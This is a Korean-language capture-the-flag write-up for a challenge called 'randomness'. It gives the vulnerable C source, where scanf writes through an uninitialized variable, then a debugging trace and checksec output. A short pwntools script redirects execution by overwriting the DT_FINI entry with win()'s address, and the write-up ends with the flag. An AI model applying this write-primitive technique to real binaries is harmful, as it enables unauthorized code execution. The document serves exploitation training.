I made this program to test how srand and rand work, but it keeps segfaulting. I don’t read compiler warnings so I can’t figure out why it’s broken. Author: anomie
Analysis 바이너리와 소스코드를 제공해준다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void win () { char * argv[] = {"/bin/cat" , "flag.txt" , NULL }; execve(argv[0 ], argv, NULL ); } void foo () { unsigned long seed; puts ("Enter a seed:" ); scanf ("%lu" , &seed); srand(seed); } void bar () { unsigned long a; puts ("Enter your guess:" ); scanf ("%lu" , a); if (rand() == a) { puts ("correct!" ); } else { puts ("incorrect!" ); } } int main () { puts ("hello!" ); foo(); bar(); puts ("goodbye!" ); }
사실 코드만 보고 취약점을 바로 못찾았다. 그래서 디버깅하면서 터지는 부분을 찾아봤다.
1 mov QWORD PTR [rax], rdx
위 인스트럭션에서 터졌고, 저 값들은 나의 입력값이었다. 이것을 바탕으로 어디에 win
함수 주소를 쓸 지 고민했다.
Solve 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
NO RELRO
이다.
1 LOAD:0000000000403248 Elf64_Dyn <0Dh, 4012D4h> ; DT_FINI
프로그램이 종료될 때 호출되는데 여기에 덮으면 된다.
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.arch = 'amd64' context.log_level = 'DEBUG' p = remote("tamuctf.com" , 443 , ssl=True , sni="randomness" ) p.sendlineafter('seed:' , '4207176' ) p.sendlineafter('guess:' , '4198867' ) p.interactive()
Flag 1 gigem{value_or_pointer_is_an_important_distinction}